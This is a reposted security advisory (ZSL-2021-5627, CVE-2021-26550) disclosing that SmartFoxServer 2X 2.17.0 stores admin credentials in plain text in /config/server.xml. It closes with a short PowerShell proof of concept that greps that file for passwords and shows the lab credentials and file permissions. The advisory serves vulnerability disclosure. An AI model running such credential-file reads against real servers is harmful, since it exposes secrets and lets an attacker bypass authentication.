SmartFoxServer 2X 2.17.0 Credential Disclosure ≈ Packet Storm – Digitalmunition




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Published on February 9th, 2021 📆 | 5125 Views ⚑

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SmartFoxServer 2X 2.17.0 Credential Disclosure ≈ Packet Storm

SmartFoxServer 2X 2.17.0 Credentials Disclosure

Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
Remote Admin: 3.2.6
SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: The application stores sensitive information in an
unencrypted XML file called /config/server.xml. A local
attacker that has access to the current user session can
successfully disclose plain-text credentials that can be
used to bypass authentication to the affected server.

Tested on: Windows (all) 64bit installer
Linux/Unix 64bit installer
MacOS (10.8+) 64bit installer
Java 1.8.0_281
Python 3.9.1
Python 2.7.14

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2021-5627
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php

CVE ID: CVE-2021-26550
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26550
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26550

CWE ID: CWE-312
CWE URL: https://cwe.mitre.org/data/definitions/312.html

29.01.2021

PS C:Userst00tSmartFoxServer_2XSFS2Xconfig> Get-Content server.xml | Select-String -Pattern passw -Context 1,0

sfsadmin
> Wadduptestingus
> 123456username
> password

C:Userst00tSmartFoxServer_2XSFS2Xconfig>icacls server.xml
server.xml NT AUTHORITYSYSTEM:(I)(F)
BUILTINAdministrators:(I)(F)
LAB42t00t:(I)(F)

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